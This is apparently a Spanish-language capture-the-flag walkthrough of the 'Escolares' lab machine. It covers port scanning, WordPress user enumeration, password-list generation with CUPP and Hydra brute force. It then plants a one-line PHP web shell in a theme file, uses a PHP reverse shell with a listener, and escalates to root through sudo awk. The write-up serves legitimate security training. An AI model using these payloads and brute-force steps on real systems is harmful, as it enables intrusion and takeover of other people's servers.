---
description: '✍️ Autor: Luisillo_o🔍 Dificultad: Fácil  📅 Fecha de creación: 09/06/2024'
---

# Escolares

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fi98PUhEkTebZuHIJNj2A%2Fimage.png?alt=media&#x26;token=82a1020b-e344-4ef5-a013-a506cedba676" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open -sT --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fh7ckhhRXZLxnknjrIzcH%2Fimage.png?alt=media&#x26;token=3e412694-5010-491c-8d0d-9b231a293b82" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo, el puerto **22** perteneciente al servicio **SSH** y el puerto **80** perteneciente al servicio **HTTP** están abiertos, por lo que se procederá a indagar más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FR3DnLilEkxmToHRsLcVt%2Fimage.png?alt=media&#x26;token=1d1136cc-e2c5-4ae4-be4b-9472519a9afc" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Se ingresó la dirección IP en el navegador, lo que llevó a que la página web sobre una universidad de ciberseguridad.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FycWMFrtHD0hKEDk5syaJ%2Fimage.png?alt=media&#x26;token=74a5ede9-652f-4c51-b2f8-fbd2a2c76bcb" alt=""><figcaption></figcaption></figure>

De primeras, no se nos muestra nada, por lo que revisamos el código fuente por si hay alguna información oculta relevante.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOhePSCuXcIprB8OcLwWk%2Fimage.png?alt=media&#x26;token=453f871d-0532-4937-b318-022b1f51f538" alt=""><figcaption></figcaption></figure>

Se nos muestra un comentario que parece ser relevante ya que la información del personal académico está en el directorio `/profesores.html` por lo que accedemos a él.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F9g0KViALFxgk7RCK21Um%2Fimage.png?alt=media&#x26;token=1b1ade63-b9dd-4e1f-a374-9d626a142822" alt=""><figcaption></figcaption></figure>

Nos llama la atención de **Luis** ya que pone que es el **admin** de Wordpress.

Ahora, buscamos directorios con la herramienta **Gobuster** a través del comando:

```bash
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml -u http://172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F5eNSxlVU5Ijzl1rDR6Nc%2Fimage.png?alt=media&#x26;token=ef3ae63b-46cb-4134-88a4-0884f9256c80" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FPvdMiPqg17rVcA6nP2lM%2Fimage.png?alt=media&#x26;token=c20c7cc0-cd52-4bd1-bb2c-235507881b5e" alt=""><figcaption></figcaption></figure>

Hemos localizado la ruta que necesitábamos, ahora utilizaremos **WPscan** para identificar la versión específica de WordPress y enumerar los usuarios, con el fin de confirmar los hallazgos anteriores.

```bash
wpscan --url http://172.17.0.2/wordpress/ -e u
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWjFVfmiklv8TtGCLWnlh%2Fimage.png?alt=media&#x26;token=1055ae1b-9203-473c-8f7d-a042a6b0f173" alt=""><figcaption></figcaption></figure>

Hemos confirmado la existencia del usuario **luisillo** en el WordPress. Ahora, procederemos a utilizar Hydra para realizar un ataque de fuerza bruta contra este usuario

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```bash
hydra -l luisillo -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 5
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **172.17.0.2**. No tenemos suerte por lo que probaremos otra cosa.

Para obtener la contraseña del usuario, utilizaremos la herramienta **CUPP** (Common User Passwords Profiler), que no viene preinstalada en Kali Linux. CUPP está diseñada para generar listas de contraseñas personalizadas basadas en la información específica del usuario objetivo. Esto es útil porque muchos usuarios suelen crear contraseñas utilizando datos personales, como su nombre, fecha de nacimiento o el nombre de su mascota, en lugar de contraseñas genéricas.

Una vez que hemos instalado CUPP, ejecutamos el siguiente comando en la terminal para iniciarlo en modo interactivo:

```bash
cupp -i
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQgUORJtKQzzI64AV7qKU%2Fimage.png?alt=media&#x26;token=1f961805-a214-4094-8ac1-0a31d05f879d" alt=""><figcaption></figcaption></figure>

Con la lista de contraseñas generada, estamos preparados para llevar a cabo el ataque de fuerza bruta y tratar de obtener credenciales válidas.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4HqDnletkwOecA6Uufx0%2Fimage.png?alt=media&#x26;token=482a066a-6299-4620-96df-23f742fd7d44" alt=""><figcaption></figcaption></figure>

La contraseña del usuario **luisillo** es **Luis1981**. Probamos las credenciales en el formulario del Wordpress.

> Nota: si nos da error [http://172.17.0.2/wordpress/wp-login.php](http://172.17.0.2/wordpress/wp-login.php) se debe añadir el dominio a /etc/hosts es decir, añadir 172.17.0.2 escolares.dl y reiniciar la página.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FyvB44VVc0wnuyMJibEyW%2Fimage.png?alt=media&#x26;token=04d597bf-74ee-49db-b291-2de72d7ff883" alt=""><figcaption></figcaption></figure>

Nos deja entrar cuando quitamos el bloqueo de las cookies.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FFqs3psrLSbjH7hlPw0ua%2Fimage.png?alt=media&#x26;token=4c8c9bfd-b321-4ee6-9bab-aa204557808f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIEZ2FxU12qyEYcunDM3L%2Fimage.png?alt=media&#x26;token=0f3cf7eb-1d10-4c4a-aa0b-f7a770403cce" alt=""><figcaption></figcaption></figure>

Accede al archivo `index.php` en la ruta `wp-content/themes/twentytwentytwo/` de tu instalación de WordPress y modifica el archivo con el siguiente código PHP:

```markdown
<?php echo "<pre>". shell_exec($_REQUEST['cmd']). "</pre>" ?>
```

Luego, abre tu navegador y accede a la siguiente URL para ejecutar comandos:

```ruby
http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/index.php?cmd=whoami
```

Al ejecutar el comando `whoami`, deberías ver el resultado en la página, que indicará el usuario bajo el cual se está ejecutando el servidor web que es `www-data`. Sabiendo que podemos ejecutar cualquier comando, vamos a realizar una reverse **shell** utilizando la página web por lo que subimos este archivo PHP [https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FNEcri3p0ld0w9MUHov5N%2Fimage.png?alt=media&#x26;token=aa2da841-faf8-4c33-8df0-cfd237f00aef" alt=""><figcaption></figcaption></figure>

```
http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/reverse.php
```

Después de ejecutar el comando codificado en la URL, la página puede quedarse cargando indefinidamente. Esto indica que la solicitud está en proceso, pero no necesariamente significa que ha fallado.

Nos ponemos en escucha por el puerto 443:

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fz8jiNFbfvLp0PYvz42Cf%2Fimage.png?alt=media&#x26;token=fbaf57c5-d1d4-4392-8322-d6b6a8ddd1c5" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root** ya que somos www-data como se mostraba anteriormente.

Para facilitar la interacción con la **shell**, migraremos a una sesión de **bash** más funcional. Esto es necesario porque en la **shell** actual no podemos utilizar las teclas de flecha ni acceder al historial de comandos. Ejecutando el siguiente comando, iniciamos una nueva sesión de bash sin registrar la actividad en ningún archivo:

```bash
script /dev/null -c bash
```

Estamos ejecutando comandos como el usuario `www-data`, lo que significa que nuestros permisos son limitados. Sin embargo, podemos intentar explorar el directorio `/home` para ver si encontramos algo interesante. Al revisar el contenido de `/home`, además de los directorios de usuarios, encontramos un archivo llamado `secret.txt`. Este archivo contiene la contraseña de un usuario llamado **Luisillo**, lo que podría ser útil para obtener acceso adicional.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FTWB5Mu1jjmNCBlxRm6TU%2Fimage.png?alt=media&#x26;token=b6bd8a29-0bc4-4e10-859b-741e83c3ea3b" alt=""><figcaption></figcaption></figure>

Nos conectamos al sistema como el usuario **Luisillo**. Ahora que tenemos acceso como un usuario normal, navegamos a su carpeta personal y listamos el contenido, pero no encontramos nada relevante. Sin embargo, al ejecutar `sudo -l`, descubrimos que podemos elevar privilegios utilizando el binario `awk`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fd0S088Nf96oZ0gKYQwq8%2Fimage.png?alt=media&#x26;token=5664e285-7006-4cfe-8e2f-9ecd4bf3e118" alt=""><figcaption></figcaption></figure>

Visitamos la página de **GFTOBins** para buscar una forma de escalar privilegios usando el binario `awk`. En la sección correspondiente a `awk` bajo el contexto de `sudo`, encontramos el comando que nos permitirá abusar de este binario para obtener privilegios de **root**. Puedes revisar los detalles en el siguiente enlace:

[GFTOBins - awk (sudo)](https://gtfobins.github.io/gtfobins/awk/#sudo)

Tras eso, ponemos:

```bash
whoami
```

y ya somos **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F8nltJ9LwtJs1IMrqXi1N%2Fimage.png?alt=media&#x26;token=adc8c729-3d20-445e-8452-d615ff380eb4" alt=""><figcaption></figcaption></figure>
